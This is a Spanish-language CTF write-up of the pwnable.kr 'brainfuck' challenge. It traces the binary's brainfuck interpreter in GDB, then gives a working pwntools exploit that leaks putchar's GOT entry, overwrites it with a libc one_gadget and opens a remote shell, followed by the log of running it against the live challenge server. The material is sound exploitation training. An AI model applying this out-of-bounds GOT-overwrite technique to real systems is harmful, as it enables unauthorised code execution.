History view

Brainfuck

Date: 08/01/2019-09/01/2019 @naivenom

4.1 Reconocimiento

gef➤  checksec
[+] checksec for '/home/binary/pwnable.kr/brainfuck/bf'
Canary                        : Yes
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Partial
Canary and NX (No shellcode)

4.2 Deep Reversing Analysis

Como no puede ser de otra manera vamos solo a centrarnos en realizar reversing instrucción por instrucción y tomar notas de que es lo que esta sucediendo. Empezamos por la función main().
0x8048685          mov    eax, gs:0x14
0x804868b          mov    DWORD PTR [esp+0x42c], eax
Aquí en este conjunto de instrucciones observamos como se implementa el Canary y se guarda en el Stack, mas concretamente en esp+0x42c. Es un valor random así que para esta primera vez que estamos reverseando el valor del registro->$eax : 0x306f7c00
gef➤  x/x $esp+0x42c
0xffffd4cc:	0x306f7c00

0x8048692          xor    eax, eax
0x8048694          mov    eax, ds:0x804a060
Aquí vemos que xorea eax poniéndolo a cero.
gef➤  x/x 0x804a060
0x804a060 :	0xf7fb7d60

0x8048699          mov    DWORD PTR [esp+0xc], 0x0
0x80486a1          mov    DWORD PTR [esp+0x8], 0x2
0x80486a9          mov    DWORD PTR [esp+0x4], 0x0
0x80486b1          mov    DWORD PTR [esp], eax
0x80486b4          call   0x80484b0 
Seguidamente vemos como se le pasan una serie de argumentos a la llamada a setvbuf(). Esta función recibe estos argumentos->int setvbuf(FILE *stream, char *buffer, int mode, size_t size) Recibe 4 argumentos en el cual quedaría de la siguiente forma->setvbuf(0xf7fb7d60,0x0,0x2,0x0). El primero es la dirección de memoria de stdout, el segundo es el buffer. El tercero al ser 0x2 corresponde a:
_IOLBF
Line buffering − On output, data is written when a newline character is inserted into the stream or when the buffer is full, what so ever happens first. On Input, the buffer is filled till the next newline character when an input operation is requested and buffer is empty.
Y el cuarto corresponde al size en bytes.
0x80486b9          mov    eax, ds:0x804a040
0x80486be          mov    DWORD PTR [esp+0xc], 0x0
0x80486c6          mov    DWORD PTR [esp+0x8], 0x1
0x80486ce          mov    DWORD PTR [esp+0x4], 0x0
0x80486d6          mov    DWORD PTR [esp], eax
0x80486d9          call   0x80484b0 
Ahora misma película solo que ahora es stdin,
gef➤  x/i 0x804a040
   0x804a040 :	mov    al,ds:0xf7fb75
gef➤  x/x 0x804a040
0x804a040 :	0xf7fb75a0
El tercero ahora es 0x1 por lo tanto corresponde a:
_IOFBF
Full buffering − On output, data is written once the buffer is full. On Input the buffer is filled when an input operation is requested and the buffer is empty.

0x80486de mov DWORD PTR ds:0x804a080, 0x804a0a0
gef➤  x/x 0x804a0a0
0x804a0a0 :	0x00000000
gef➤  x/i 0x804a0a0
0x804a0a0 :	add    BYTE PTR [eax],al
Mueve ese contenido a ds:0x804a080,
gef➤  x/x 0x804a080
0x804a080 

: 0x0804a0a0


0x80486e8          mov    DWORD PTR [esp], 0x804890c
0x80486ef          call   0x8048470 
Mueve a esp esa dirección,
gef➤  x/x 0x804890c
0x804890c:	0x636c6577
gef➤  x/i 0x804890c
   0x804890c:	ja     0x8048973
gef➤  x/i 0x8048973
   0x8048973:	add    BYTE PTR [esp+edi*8-0x1],bh
$esp   : 0xffffd0a0  →  0x0804890c  →  "welcome to brainfuck testing system!!"
No deja de ser una strings para que se visualice con puts()
0x80486f4          mov    DWORD PTR [esp], 0x8048934
0x80486fb          call   0x8048470 
Mismo que lo anterior->$esp : 0xffffd0a0 → 0x08048934 → "type some brainfuck instructions except [ ]"
0x8048700          mov    DWORD PTR [esp+0x8], 0x400
0x8048708          mov    DWORD PTR [esp+0x4], 0x0
0x8048710          lea    eax, [esp+0x2c]
0x8048714          mov    DWORD PTR [esp], eax
0x8048717          call   0x80484c0 
memset tiene esta forma en C->void *memset(void *str, int c, size_t n) Se le pasa tres argumentos:
str − This is a pointer to the block of memory to fill.
c − This is the value to be set. The value is passed as an int, but the function fills the block of memory using the unsigned char conversion of this value.
n − This is the number of bytes to be set to the value.
Por lo tanto tenemos esto->memset(eax,0x0,0x400). Donde eax veremos ahora que es. $eax : 0xffffd0cc → 0x00000004
gef➤  x/20xw $esp
0xffffd0a0:	0xffffd0cc	0x00000000	0x00000400	0x00000000
0xffffd0b0:	0x00000004	0x00000007	0x001af23c	0xffffd574
0xffffd0c0:	0x001b023c	0x00000008	0x00000048	0x00000004
0xffffd0d0:	0x00000004	0x6474e550	0x0016508c	0x0016508c
0xffffd0e0:	0x0016508c	0x0000619c	0x0000619c	0x00000004

0x804871c          mov    eax, ds:0x804a040
0x8048721          mov    DWORD PTR [esp+0x8], eax
0x8048725          mov    DWORD PTR [esp+0x4], 0x400
0x804872d          lea    eax, [esp+0x2c]
0x8048731          mov    DWORD PTR [esp], eax
0x8048734          call   0x8048450 
Y ahora se le pasa el size del buffer y el puntero donde tiene que fillear el contenido que introducimos ahora con fgets(). Esta función es segura por lo tanto no podremos hacer un overflow como paso en el anterior reto con gets(). Introducimos como no puede ser de otra manera AAAA. je je je. Si os dais cuenta el puntero en el stack donde teníamos que fillear con nuestro input coincide con el que vimos en el memset->$eax : 0xffffd0cc → "AAAA"
0x8048741 jmp 0x8048760 En esta instrucción hay un salto a esta parte del código,
0x08048760 <+239>:	mov    ebx,DWORD PTR [esp+0x28]
0x08048764 <+243>:	lea    eax,[esp+0x2c]
0x08048768 <+247>:	mov    DWORD PTR [esp],eax
0x0804876b <+250>:	call   0x8048490 
0x08048770 <+255>:	cmp    ebx,eax
0x08048772 <+257>:	jb     0x8048743 
En resumen en esas instrucciones se pasa el input introducido como argumento del strlen para saber la longitud y lo compara con el registro ebx, este registro contiene->0x0,
gef➤  x/20xw $esp+0x28
0xffffd0c8:	0x00000000	0x41414141	0x0000000a	0x00000000
0xffffd0d8:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd0e8:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd0f8:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd108:	0x00000000	0x00000000	0x00000000	0x00000000
gef➤  x/20xw $esp+0x2c
0xffffd0cc:	0x41414141	0x0000000a	0x00000000	0x00000000
0xffffd0dc:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd0ec:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd0fc:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd10c:	0x00000000	0x00000000	0x00000000	0x00000000
Es decir, compara la longitud de nuestro input con 0x0.
$eax   : 0x5       
$ebx   : 0x0 
Es 0x5 por el enter o salto de linea 0xa se considera un carácter. 0x8048772 jb 0x8048743 En esta instrucción salta si es menor ebx ya que es 0x0, por lo tanto, podríamos deducir que podría ser un contador. Ahora vuelve hacia atrás en el código, veamos instrucción a instrucción. 0x8048743 lea edx, [esp+0x2c]
Se le pasa al registro edx la dirección de memoria del Stack que contiene nuestro input->$edx : 0xffffd0cc → "AAAA" 0x8048747 mov eax, DWORD PTR [esp+0x28]
gef➤  x/20xw $esp+0x28
0xffffd0c8:	0x00000000	0x41414141	0x0000000a	0x00000000
Se le pasa al registro eax el valor de->$eax : 0x0 0x804874b add eax, edx Se le suma con el contenido de eax y se queda en eax, como es 0x0 no se le suma nada de valor a la dirección del stack, por lo tanto por lógica va a iterar con el primer valor. Así que ya sabemos lo que es el 0x0, es un contador para ir iterando uno a uno de nuestro input de entrada (que es lo que controlamos nosotros como exploiters). $eax : 0xffffd0cc → "AAAA" 0x804874d movzx eax, BYTE PTR [eax]
Ahora mueve el primer byte a->$eax : 0x41 (A) 0x8048753 mov DWORD PTR [esp], eax Ahora mueve al Stack dicho valor que se le pasara como argumento a la siguiente función do_brainfuck(). Bien en este punto hemos podido ver en la función main() como se setea un buffer y se llama a fgets() para recibir por stdin nuestro input. También vemos que hay un bucle ya que va iterando byte a byte de nuestro input llamando a una función que aun desconocemos. 0x80485e3 mov eax, DWORD PTR [ebp+0x8] Se le pasa al registro eax el valor de 0x41. 0x80485e6 mov BYTE PTR [ebp-0xc], al Se pasa al stack el valor de 0x41,
gef➤  x/20xw $ebp-0xc
0xffffd08c:	0xf7e83441	0xffffd0cc	0x00000000	0xffffd4d8
0x80485e9 movsx eax, BYTE PTR [ebp-0xc] Se vuelve a pasar ese valor a eax del stack->$eax : 0x41 0x80485ed sub eax, 0x2b Ahora se le resta 0x2b y se queda en eax->$eax : 0x16 0x80485f0 cmp eax, 0x30 Y ahora se compara con 0x30, por lo tanto como no es igual tendremos que hacer que nuestro carácter sea igual a 0x30 con su correspondiente resta. x-0x2b=0x30; x=5b Nuestro valor para que la comparacion sea igual a de ser ese. 0x80485f3 ja 0x804866b NOT taken [Reason: !(!C && !Z)] En nuestro caso del 0x41 no salta. Si os dais cuenta si salta se va al final de la función por lo tanto ese no es el objetivo, así que digamos que lo que hace es controlar que lo que se introduce corresponde hasta 0x5b o en ascii "[".
0x80485f5  mov    eax, DWORD PTR [eax*4+0x8048848]
0x80485fc  jmp    eax
Esta parte es muy interesante ya que tenemos que eax=0x16 que se multiplicara por 4 y sumara esa dirección, según el resultado se mueve al registro eax y seguidamente saltara a esa localización con jmp eax,
gef➤  x/x $eax*4+0x8048848
0x80488a0:	0x0804866b
gef➤  x/x 0x0804866b
0x804866b :	0x5b24c483
gef➤  x/i 0x0804866b
0x804866b :	add    esp,0x24
Curiosamente también quiere salirse de la función jeje. Analizamos la memoria y vemos que siempre esta esa dirección de memoria de .text,
gef➤  x/20x $eax*4+0x8048848
0x80488a0:	0x0804866b	0x0804866b	0x0804866b	0x0804866b
0x80488b0:	0x0804866b	0x0804866b	0x0804866b	0x0804866b
0x80488c0:	0x0804866b	0x0804866b	0x0804866b	0x0804866b
0x80488d0:	0x0804866b	0x0804866b	0x0804866b	0x0804866b
0x80488e0:	0x0804866b	0x0804866b	0x0804866b	0x0804866b
Vamos mas en profundidad y vemos el rango donde podemos iteractuar con nuestro input para conseguir lo deseado,
gef➤  x/200x $eax*4+0x8048848-0x70
0x8048830:	0x6e61205b	0x205d2064	0x20746f6e	0x70707573
0x8048840:	0x6574726f	0x00002e64	0x0804861c	0x0804864f
0x8048850:	0x0804862b	0x0804863a	0x0804866b	0x0804866b
0x8048860:	0x0804866b	0x0804866b	0x0804866b	0x0804866b
0x8048870:	0x0804866b	0x0804866b	0x0804866b	0x0804866b
0x8048880:	0x0804866b	0x0804866b	0x0804866b	0x0804860d
0x8048890:	0x0804866b	0x080485fe	0x0804866b	0x0804866b
0x80488a0:	0x0804866b	0x0804866b	0x0804866b	0x0804866b
0x80488b0:	0x0804866b	0x0804866b	0x0804866b	0x0804866b
0x80488c0:	0x0804866b	0x0804866b	0x0804866b	0x0804866b
0x80488d0:	0x0804866b	0x0804866b	0x0804866b	0x0804866b
0x80488e0:	0x0804866b	0x0804866b	0x0804866b	0x0804866b
0x80488f0:	0x0804866b	0x0804866b	0x0804866b	0x0804866b
0x8048900:	0x0804866b	0x0804866b	0x0804865e
Vemos que la dirección 0x0804866b no nos vale. Empezamos con la ultima, 0x0804865e -> Esta dirección corresponde a,
gef➤  x/x 0x0804865e
0x804865e :	0x302404c7
Mirando el desensamblado esa instrucción es,
gef➤  x/i 0x0804865e
   0x804865e :	mov    DWORD PTR [esp],0x8048830
Corresponde a estas instrucciones y es simplemente el puts, no nos vale aun así vamos hacer una prueba,
0x0804865e <+130>:	mov    DWORD PTR [esp],0x8048830
0x08048665 <+137>:	call   0x8048470 
0x0804866a <+142>:	nop
0x0804866b <+143>:	add    esp,0x24
0x0804866e <+146>:	pop    ebx
0x0804866f <+147>:	pop    ebp
0x08048670 <+148>:	ret
Si ponemos una "Z", casi llegamos
gef➤  x/20xw $eax*4+0x8048848
0x8048904:	0x0804866b	0x0804865e	0x636c6577	0x20656d6f
Si ponemos un corchete llegamos a los esperado :)
gef➤  x/20xw $eax*4+0x8048848
0x8048908:	0x0804865e	0x636c6577	0x20656d6f	0x62206f74
0x8048918:	0x6e696172	0x6b637566	0x73657420	0x676e6974
Vamos a ver como va a saltar antes de ese puts() que dijimos. Y vemos el argumento que se le pasa a puts() y nos dice que esto,
gef➤  x/s 0x8048830
0x8048830:	"[ and ] not supported."
Lógico el programa ya nos avisaba que esos dos caracteres no estaban soportados en nuestro interprete de brainfuck. Quizás sea una corazonada pero justo antes de ese corchete los valores en memoria corresponde a todas las mayúsculas, quizás si ponemos "z" en minúsculas corresponda a 0x080485fe pero todos sabemos que esos caracteres en hexadecimal son mayores asi que no. Tendremos que pones los caracteres antes de las mayúsculas e imprimibles a ver. Es valor antes de 0x41 corresponde a->@ Ahora analizamos 0x080485fe, para ello pondremos de prueba el carácter "@".
gef➤  x/20xw $eax*4+0x8048848
0x804889c:	0x0804866b	0x0804866b	0x0804866b	0x0804866b
Nop...Vamos a probar dos caracteres anteriores->0x3e que corresponde a ">".
gef➤  x/20xw $eax*4+0x8048848
0x8048894:	0x080485fe	0x0804866b	0x0804866b	0x0804866b
0x80488a4:	0x0804866b	0x0804866b	0x0804866b	0x0804866b
Efectivamente corresponde a la dirección que buscábamos :). Vamos a seguir debuggeando a ver que encontramos,
0x80485fe  mov    eax, ds:0x804a080
0x8048603  add    eax, 0x1
0x8048606  mov    ds:0x804a080, eax
0x804860b  jmp    0x804866b 
Resulta ser la siguiente instrucción al salto...así que no ha saltado mucho jaja. Bueno veamos que le pasa al registro eax. $eax : 0x0804a0a0 → 0x00000000 Es cero. Luego le suma uno que también es cero->$eax : 0x0804a0a1 → 0x00000000 Vemos que es 0x0804a0a1,
gef➤  x/20wx 0x0804a0a1-0x50
0x804a051:	0x00000000	0x00000000	0x00000000	0x60000000
0x804a061 :	0x00f7fb7d	0x00000000	0x00000000	0x00000000
0x804a071:	0x00000000	0x00000000	0x00000000	0xa0000000
0x804a081 :	0x000804a0	0x00000000	0x00000000	0x00000000
0x804a091:	0x00000000	0x00000000	0x00000000	0x00000000
Vaya resulta que ahí hay una dirección correspondiente a stdout glibc...pero ni idea aun la verdad, sigamos. Para lo siguiente solo serian dos caracteres menos para alcanzar 0x0804860d. Si consultamos la tabla ascii corresponde a->0x3c que es "<". Probemos,
gef➤  x/20xw $eax*4+0x8048848
0x804888c:	0x0804860d	0x0804866b	0x080485fe	0x0804866b
0x804889c:	0x0804866b	0x0804866b	0x0804866b	0x0804866b
Vemos que estabamos en lo cierto y vamos a debuggear para ver que sucede.
0x804860d  mov    eax, ds:0x804a080
0x8048612  sub    eax, 0x1
0x8048615  mov    ds:0x804a080, eax
0x804861a  jmp    0x804866b 
Vemos que mueve a eax->$eax : 0x0804a0a0 → 0x00000000 Mueve lo mismo pero ahora le resta 0x1,
gef➤  x/20xw 0x0804a09f
0x804a09f:	0x00000000	0x00000000	0x00000000	0x00000000
Bueno sigamos investigando y ahora para este valor->0x0804863a. Si vemos el desplazamiento en numero son->13 valores menos en ascii eso corresponde a->0x2f o "/". Vamos a probar a ejecutar con el nuevo carácter "/",
gef➤  x/20xw $eax*4+0x8048848
0x8048858:	0x0804866b	0x0804866b	0x0804866b	0x0804866b
0x8048868:	0x0804866b	0x0804866b	0x0804866b	0x0804866b
Nop probemos dos menos->0x2d o "-". Si os dais cuenta esos caracteres corresponden a los valores de un interprete brainfuck jeje. Probamos ahora "-".
gef➤  x/20xw $eax*4+0x8048848
0x8048850:	0x0804862b	0x0804863a	0x0804866b	0x0804866b
Vaya me pasao jajajaj. El siguiente entonces (buena esa). Es el carácter->0x2e o ".".
gef➤  x/20xw $eax*4+0x8048848
0x8048854:	0x0804863a	0x0804866b	0x0804866b	0x0804866b
0x8048864:	0x0804866b	0x0804866b	0x0804866b	0x0804866b
Lo debuggeamos y vemos que sucede,
0x804863a  mov    eax, ds:0x804a080
0x804863f  movzx  eax, BYTE PTR [eax]
0x8048642  movsx  eax, al
0x8048645  mov    DWORD PTR [esp], eax
0x8048648  call   0x80484d0 
Vemos que ahora lo que hace es un putchar osea mostrara por salida estándar un valor. Es el mismo valor de siempre->$eax : 0x0804a0a0 → 0x00000000 Por lo tanto imprimirá 0x0, probamos iteractuando con la aplicación:
binary@ubuntu:~/pwnable.kr/brainfuck$ ./bf
welcome to brainfuck testing system!!
type some brainfuck instructions except [ ]
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<------.
Violación de segmento (`core' generado)
Parece que no le ha gustado a la aplicación pasarle eso jeje. Podemos deducir que quizás si metemos mas caracteres va haciendo "algo", que aun no sabemos. Pero primero vamos a analizar todos los caracteres validos. Nos ponemos con "-",
gef➤  x/20xw $eax*4+0x8048848
0x8048850:	0x0804862b	0x0804863a	0x0804866b	0x0804866b
0x8048860:	0x0804866b	0x0804866b	0x0804866b	0x0804866b
Debuggeamos, El registro eax es->$eax : 0x0804a0a0 → 0x00000000
0x8048630 movzx edx, BYTE PTR [eax] En esta instrucción mueve su contenido a diferencia del otro que vimos, es decir, "<". Por lo tanto "-" es contenido y "<" es puntero o dirección...edx vale->0x0
0x8048633 sub edx, 0x1 Y en esta instrucción le resta 0x1 y da->$edx : 0xffffffff
0x8048636 mov BYTE PTR [eax], dl En esta instrucción se le mueve al registro eax que era una dirección->$eax : 0x0804a0a0 → 0x000000ff Y si ahora analizamos esa dirección contiene un valor jeje,
gef➤  x/20wx 0x0804a0a0
0x804a0a0 :	0x000000ff	0x00000000	0x00000000	0x00000000
Seguimos analizando nuestra aplicación para 0x0804864f, Probamos 0x2c o ",".
gef➤  x/20xw $eax*4+0x8048848
0x804884c:	0x0804864f	0x0804862b	0x0804863a	0x0804866b
Debuggeamos,
0x804864f  mov    ebx, DWORD PTR ds:0x804a080
0x8048655  call   0x8048440 
0x804865a  mov    BYTE PTR [ebx], al
Es getchar() se le pasa la dirección de memoria vista anteriormente;
gef➤  x/20xw 0x804a080
0x804a080 p:	0x0804a0a0	0x00000000	0x00000000	0x00000000
Ya que se le pasa al registro->$ebx : 0x0804a0a0 → 0x00000000 Y ahora nos pedirá a nosotros como usuarios un input le pasamos "q" (puse esto porque me quería salir de GDB xDDD) El valor de retorno estará en el registro eax->0x71 (q)
0x804865a mov BYTE PTR [ebx], al Y en esta instrucción se moverá a ebx, es decir, se moverá a nuestra dirección de memoria, $ebx : 0x0804a0a0 → 0x00000071 ("q"?) Y ya por ultimo, el ultimo que nos queda por analizar de nuestro interprete brainfuck->"+".
gef➤  x/20xw $eax*4+0x8048848
0x8048848:	0x0804861c	0x0804864f	0x0804862b	0x0804863a
0x8048858:	0x0804866b	0x0804866b	0x0804866b	0x0804866b
Debuggeamos,
0x804861c  mov    eax, ds:0x804a080
0x8048621  movzx  edx, BYTE PTR [eax]
0x8048624  add    edx, 0x1
0x8048627  mov    BYTE PTR [eax], dl
0x8048629  jmp    0x804866b 
Y es igual que el ">", pero en vez de puntero es contenido y se suma. $eax : 0x0804a0a0 → 0x00000001
gef➤  x/20xw 0x0804a0a0
0x804a0a0 :	0x00000001	0x00000000	0x00000000	0x00000000
No vemos un 0xff de la vez pasada con "-", sino un 0x1. Seguidamente vamos con el testeo, si le introducimos a la aplicacion esto:
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-
Violación de segmento (`core' generado) Genera un segmentation fault. Vamos a debuggearlo a ver que sucede pero para no estar debuggeando constantemente este carácter "<" habra que setear bien el breakpoint justo en el caracter "-". 0x804862b mov eax, ds:0x804a080
Cuando ejecutamos esa instrucción en eax tenemos->$eax : 0x08049fff → 0x049f1400 Un valor muy diferente a lo que obtuvimos anteriormente->0x0804a0a0 → 0x00000000 0x8048630 movzx edx, BYTE PTR [eax]
Mueve un byte osea la parte baja 0x0->$edx : 0x0 Y se lo resta seguidamente->$edx : 0xffffffff 0x8048636 mov BYTE PTR [eax], dl Y al moverlo a eax genera un segmentation fault
gef➤  ni
Program received signal SIGSEGV, Segmentation fault.

4.3 Explotacion

El buffer necesario para la explotacion y debugging que necesite fue este:
payload = "."+"<"*112+"."+">"+"."+">"+"."+">"+"."+">"+"<"+","+"<"+","+"<"+","+"<"+","+">>>>."+"\x0a"+"\x04\x05\xdf\xdf"
print payload

Idea de exploit:

Usamos one_gadget para saber la dirección de memoria de exec en bf_libc.so. Una vez lo sabemos deberemos sobrescribir la entrada de GOT de putchar. Como sabemos la entrada de GOT de putchar debido al trigger que hacemos con putchar, sabemos siempre la dirección de la GOT y bypass del ASLR. Al saber la dirección de la GOT de putchar y también sabemos la dirección de putchar en bf_libc.so podemos saber la dirección base de bf_libc.so con una simple resta ya que sabemos que con el ASLR esta randomrizada. Finalmente sabiendo esto y como sabemos la dirección de execl sumamos a la direccion base esta dirección y ya sabremos cual es la dirección en ejecución de execl y asi conseguiremos una shell. Segun el gadget EAX debe ser NULL por lo tanto deberemos hacer antes de triggear de nuevo putchar con la nueva entrada de GOT, dejar el registro EAX a 0x0.
binary@ubuntu:~/pwnable.kr/brainfuck$ one_gadget bf_libc.so 
0x3ac5c	execve("/bin/sh", esp+0x28, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x28] == NULL

0x3ac5e	execve("/bin/sh", esp+0x2c, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x2c] == NULL

0x3ac62	execve("/bin/sh", esp+0x30, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x30] == NULL

0x3ac69	execve("/bin/sh", esp+0x34, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x34] == NULL

0x5fbc5	execl("/bin/sh", eax)
constraints:
  esi is the GOT address of libc
  eax == NULL

0x5fbc6	execl("/bin/sh", [esp])
constraints:
  esi is the GOT address of libc
  [esp] == NULL
Exploit:
from pwn import *
context.log_level = 'debug'
p = remote("pwnable.kr",9001)
#p = process('./bf')
p.recvuntil("type some brainfuck instructions except [ ]\n")

#gdb.attach(p,'''
#break *0x0804864f
#continue
#''')

payload = "."+"<"*112+"."+">"+"."+">"+"."+">"+"."+">" #Leak putchar GOT entry
payload += "<"+","+"<"+","+"<"+","+"<"+"," #write one_gadget to execv
payload += ">>>>." #Set EAX == Null and trigger putchar with new GOT entry
p.sendline(payload)
print p.recvn(1)
leak_putchar = p.recvn(4)
print repr(leak_putchar)

leaked_putchar = u32(leak_putchar)
print hex(leaked_putchar)

putchar_offset_libc = 0x00061920
exec_libc = 0x5fbc5

libc_base = leaked_putchar-putchar_offset_libc
one_gadget = libc_base+exec_libc

p.sendline(p32(one_gadget, endian='big'))
p.interactive()

4.4 Explotacion remoto

binary@ubuntu:~/pwnable.kr/brainfuck$ python exploit.py 
[+] Opening connection to pwnable.kr on port 9001: Done
[DEBUG] Received 0x25 bytes:
    'welcome to brainfuck testing system!!'
[DEBUG] Received 0x2d bytes:
    '\n'
    'type some brainfuck instructions except [ ]\n'
[DEBUG] Sent 0x87 bytes:
    '.<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<.>.>.>.><,<,<,<,>>>>.\n'
[DEBUG] Received 0x1 bytes:
    00000000  00                                                  │·│
    00000001
\x00
[DEBUG] Received 0x4 bytes:
    00000000  20 99 58 f7                                         │ ·X·││
    00000004
' \x99X\xf7'
0xf7589920
[DEBUG] Sent 0x5 bytes:
    00000000  f7 58 7b c5  0a                                     │·X{·│·│
    00000005
[*] Switching to interactive mode
$ id
[DEBUG] Sent 0x3 bytes:
    'id\n'
[DEBUG] Received 0x3f bytes:
    'uid=1035(brainfuck) gid=1035(brainfuck) groups=1035(brainfuck)\n'
uid=1035(brainfuck) gid=1035(brainfuck) groups=1035(brainfuck)
$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x29 bytes:
    'brainfuck\n'
    'flag\n'
    'libc-2.23.so\n'
    'log\n'
    'super.pl\n'
brainfuck
flag
libc-2.23.so
log
super.pl
$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x23 bytes:
    'xxxxxxxxxxxxxxxxxxxxxxxxxx\n'
xxxxxxxxxxxxxxxxxxxxxxxxxx
$  
Comments